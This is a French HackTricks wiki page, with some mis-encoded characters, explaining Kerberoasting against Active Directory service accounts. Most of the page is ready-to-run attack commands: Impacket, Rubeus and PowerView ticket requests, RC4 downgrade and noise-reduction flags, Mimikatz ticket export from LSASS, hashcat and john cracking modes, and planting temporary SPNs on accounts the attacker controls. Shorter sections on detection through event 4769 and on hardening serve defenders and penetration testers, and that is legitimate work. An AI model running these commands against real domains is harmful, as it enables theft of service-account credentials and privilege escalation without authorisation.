Kerberoast
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Kerberoast
Kerberoasting se concentre sur lâacquisition de tickets TGS, en particulier ceux liĂ©s aux services exĂ©cutĂ©s sous des comptes utilisateur dans Active Directory (AD), Ă lâexclusion des comptes ordinateurs. Le chiffrement de ces tickets utilise des clĂ©s issues des mots de passe des utilisateurs, permettant le craquage hors-ligne des identifiants. Lâutilisation dâun compte utilisateur comme service est indiquĂ©e par une propriĂ©tĂ© ServicePrincipalName (SPN) non vide.
Tout utilisateur de domaine authentifiĂ© peut demander des tickets TGS, donc aucune Ă©lĂ©vation de privilĂšges particuliĂšre nâest nĂ©cessaire.
Points clés
- Cible les tickets TGS pour les services sâexĂ©cutant sous des comptes utilisateur (c.-Ă -d. comptes avec SPN dĂ©fini ; pas les comptes ordinateurs).
- Les tickets sont chiffrĂ©s avec une clĂ© dĂ©rivĂ©e du mot de passe du compte de service et peuvent ĂȘtre craquĂ©s hors-ligne.
- Aucune Ă©lĂ©vation de privilĂšges requise ; nâimporte quel compte authentifiĂ© peut demander des tickets TGS.
Warning
La plupart des outils publics préfÚrent demander des tickets de service RC4-HMAC (etype 23) car ils sont plus rapides à craquer que AES. Les hachages TGS RC4 commencent par
$krb5tgs$23$*, AES128 par$krb5tgs$17$*, et AES256 par$krb5tgs$18$*. Cependant, de nombreux environnements migrent vers AES-only. Ne supposez pas que seul RC4 soit pertinent.
Ăvitez aussi le kerberoast âspray-and-prayâ. Le kerberoast par dĂ©faut de Rubeus peut interroger et demander des tickets pour tous les SPN et est bruyant. ĂnumĂ©rez et ciblez dâabord les principals intĂ©ressants.
Secrets des comptes de service & coût crypto Kerberos
Beaucoup de services tournent encore sous des comptes utilisateur avec des mots de passe gérés manuellement. Le KDC chiffre les tickets de service avec des clés dérivées de ces mots de passe et remet le ciphertext à tout principal authentifié, donc le kerberoasting offre des essais hors-ligne illimités sans verrouillage ni télémétrie DC. Le mode de chiffrement détermine le budget de craquage :
| Mode | Key derivation | Encryption type | Approx. RTX 5090 throughput* | Notes |
|---|---|---|---|---|
| AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 ($krb5tgs$17$, $krb5tgs$18$) | ~6.8 million essais/s | Le salt bloque les rainbow tables mais permet toujours le craquage rapide des mots de passe courts. |
| RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 ($krb5tgs$23$) | ~4.18 milliards essais/s | ~1000Ă plus rapide que AES ; les attaquants forcent RC4 chaque fois que msDS-SupportedEncryptionTypes le permet. |
*Benchmarks de Chick3nman comme dĂ©crit dans Matthew Greenâs Kerberoasting analysis.
Le confounder de RC4 ne randomise que le keystream ; il nâajoute pas de travail par essai. Sauf si les comptes de service reposent sur des secrets alĂ©atoires (gMSA/dMSA, comptes machine, ou chaĂźnes gĂ©rĂ©es par un vault), la vitesse de compromission dĂ©pend uniquement du budget GPU. Imposer des etypes AES-only supprime la dĂ©gradation Ă milliards dâessais par seconde, mais les mots de passe humains faibles tombent toujours face Ă PBKDF2.
Attack
Linux
# Metasploit Framework
msf> use auxiliary/gather/get_user_spns
# Impacket â request and save roastable hashes (prompts for password)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# With NT hash
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# Target a specific userâs SPNs only (reduce noise)
GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
# kerberoast by @skelsec (enumerate and roast)
# 1) Enumerate kerberoastable users via LDAP
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
# 2) Request TGS for selected SPNs and dump
kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
Outils multifonctions incluant des vérifications kerberoast :
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
Windows
- ĂnumĂ©rer les utilisateurs kerberoastables
# Built-in
setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($)
# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname
# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
.\Rubeus.exe kerberoast /stats
- Technique 1: Demander un TGS et dump depuis la mémoire
# Acquire a single service ticket in memory for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local
# Get all cached Kerberos tickets
klist
# Export tickets from LSASS (requires admin)
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Convert to cracking formats
python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
# Optional: convert john -> hashcat etype23 if needed
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
- Technique 2 : Outils automatiques
# PowerView â single SPN to hashcat format
Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
# PowerView â all user SPNs -> CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus â default kerberoast (be careful, can be noisy)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Rubeus â target a single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
# Rubeus â target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
Warning
Une requĂȘte TGS gĂ©nĂšre lâĂ©vĂ©nement de sĂ©curitĂ© Windows 4769 (Un ticket de service Kerberos a Ă©tĂ© demandĂ©).
OPSEC et environnements AES-only
- Demander RC4 intentionnellement pour les comptes sans AES :
- Rubeus:
/rc4opsecutilise tgtdeleg pour énumérer les comptes sans AES et demande des tickets de service RC4. - Rubeus:
/tgtdelegavec kerberoast dĂ©clenche Ă©galement des requĂȘtes RC4 lorsque possible. - Roast les comptes AES-only au lieu dâĂ©chouer silencieusement :
- Rubeus:
/aesĂ©numĂšre les comptes avec AES activĂ© et demande des tickets de service AES (etype 17/18). - Si vous possĂ©dez dĂ©jĂ un TGT (PTT ou provenant dâun .kirbi), vous pouvez utiliser
/ticket:<blob|path>avec/spn:<SPN>ou/spns:<file>et éviter LDAP. - Ciblage, limitation et réduction du bruit :
- Utilisez
/user:<sam>,/spn:<spn>,/resultlimit:<N>,/delay:<ms>et/jitter:<1-100>. - Filtrez les mots de passe probablement faibles en utilisant
/pwdsetbefore:<MM-dd-yyyy>(mots de passe plus anciens) ou ciblez les OU privilégiées avec/ou:<DN>.
Exemples (Rubeus):
# Kerberoast only AES-enabled accounts
.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
# Request RC4 for accounts without AES (downgrade via tgtdeleg)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
# Roast a specific SPN with an existing TGT from a non-domain-joined host
.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
Cracking
# John the Ripper
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
# Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
# AES128-CTS-HMAC-SHA1-96 (etype 17)
hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
# AES256-CTS-HMAC-SHA1-96 (etype 18)
hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
Persistance / Abus
Si vous contrĂŽlez ou pouvez modifier un compte, vous pouvez le rendre kerberoastable en ajoutant un SPN:
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
RĂ©trograder un compte pour activer RC4 afin de faciliter le cracking (nĂ©cessite des privilĂšges dâĂ©criture sur lâobjet cible):
# Allow only RC4 (value 4) â very noisy/risky from a blue-team perspective
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
# Mixed RC4+AES (value 28)
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
Kerberoast ciblé via GenericWrite/GenericAll sur un utilisateur (SPN temporaire)
Lorsque BloodHound indique que vous contrĂŽlez un objet utilisateur (p.ex. GenericWrite/GenericAll), vous pouvez de maniĂšre fiable effectuer un Kerberoast ciblĂ© sur cet utilisateur spĂ©cifique mĂȘme sâil nâa actuellement aucun SPN :
- Ajouter un SPN temporaire Ă lâutilisateur contrĂŽlĂ© pour le rendre susceptible dâun Kerberoast.
- Demander un TGS-REP chiffré avec RC4 (etype 23) pour cet SPN afin de faciliter le cracking.
- Crack le
$krb5tgs$23$...hash avec hashcat. - Nettoyer le SPN pour rĂ©duire lâempreinte.
Windows (PowerView/Rubeus):
# Add temporary SPN on the target user
Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose
# Request RC4 TGS for that user (single target)
.\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4
# Remove SPN afterwards
Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose
One-liner Linux (targetedKerberoast.py automatise lâajout de SPN -> la demande de TGS (etype 23) -> la suppression de SPN):
targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>'
Craquez la sortie avec hashcat autodetect (mode 13100 pour $krb5tgs$23$):
hashcat <outfile>.hash /path/to/rockyou.txt
Detection notes: adding/removing SPNs produces directory changes (Event ID 5136/4738 on the target user) and the TGS request generates Event ID 4769. Consider throttling and prompt cleanup.
You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast
If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great) itâs due to local time skew. Sync to the DC:
ntpdate <DC_IP>(deprecated on some distros)rdate -n <DC_IP>
Kerberoast sans compte de domaine (AS-requested STs)
En septembre 2022, Charlie Clark a montrĂ© que si un principal nâexige pas la pre-authentication, il est possible dâobtenir un service ticket via un KRB_AS_REQ spĂ©cialement conçu en modifiant le sname dans le corps de la requĂȘte, obtenant ainsi un service ticket au lieu dâun TGT. Cela reflĂšte AS-REP roasting et ne nĂ©cessite pas dâidentifiants de domaine valides.
See details: Semperis write-up âNew Attack Paths: AS-requested STsâ.
Warning
Vous devez fournir une liste dâutilisateurs car sans identifiants valides vous ne pouvez pas interroger LDAP avec cette technique.
Linux
- Impacket (PR #1413):
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
Windows
- Rubeus (PR #139):
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
Voir aussi
Si vous ciblez des utilisateurs AS-REP roastable, voir aussi :
Détection
Kerberoasting peut ĂȘtre discret. Recherchez lâEvent ID 4769 provenant des DCs et appliquez des filtres pour rĂ©duire le bruit :
- Exclure le nom de service
krbtgtet les noms de service se terminant par$(comptes ordinateurs). - Exclure les requĂȘtes provenant de comptes machine (
*$$@*). - Uniquement les requĂȘtes rĂ©ussies (Code dâĂ©chec
0x0). - Suivre les types de chiffrement : RC4 (
0x17), AES128 (0x11), AES256 (0x12). Ne pas alerter uniquement sur0x17.
Exemple de triage PowerShell:
Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
Where-Object {
($_.Message -notmatch 'krbtgt') -and
($_.Message -notmatch '\$$') -and
($_.Message -match 'Failure Code:\s+0x0') -and
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
($_.Message -notmatch '\$@')
} |
Select-Object -ExpandProperty Message
Idées supplémentaires :
- Ătablir une ligne de base de lâutilisation normale des SPN par hĂŽte/utilisateur ; alerter en cas de fortes rafales de requĂȘtes SPN distinctes provenant dâun mĂȘme principal.
- Signaler une utilisation inhabituelle de RC4 dans des domaines renforcés par AES.
Atténuation / Durcissement
- Utilisez gMSA/dMSA ou des comptes machine pour les services. Les comptes gérés ont des mots de passe aléatoires de plus de 120 caractÚres et se renouvellent automatiquement, rendant le craquage hors ligne impraticable.
- Appliquez AES sur les comptes de service en définissant
msDS-SupportedEncryptionTypessur AES-only (decimal 24 / hex 0x18) puis en renouvelant le mot de passe pour que les clĂ©s AES soient dĂ©rivĂ©es. - Lorsque câest possible, dĂ©sactivez RC4 dans votre environnement et surveillez les tentatives dâutilisation de RC4. Sur les DCs vous pouvez utiliser la valeur de registre
DefaultDomainSupportedEncTypespour orienter les paramÚtres par défaut des comptes sansmsDS-SupportedEncryptionTypesdéfini. Testez soigneusement. - Supprimez les SPN inutiles des comptes utilisateur.
- Utilisez des mots de passe longs et aléatoires pour les comptes de service (25+ caractÚres) si les comptes gérés ne sont pas envisageables ; interdisez les mots de passe courants et auditez réguliÚrement.
Références
- https://github.com/ShutdownRepo/targetedKerberoast
- Matthew Green â Kerberoasting: Low-Tech, High-Impact Attacks from Legacy Kerberos Crypto (2025-09-10)
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled
- Microsoft Security Blog (2024-10-11) â Microsoftâs guidance to help mitigate Kerberoasting
- SpecterOps â Rubeus Roasting documentation
- HTB: Delegate â SYSVOL creds â Targeted Kerberoast â Unconstrained Delegation â DCSync to DA
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


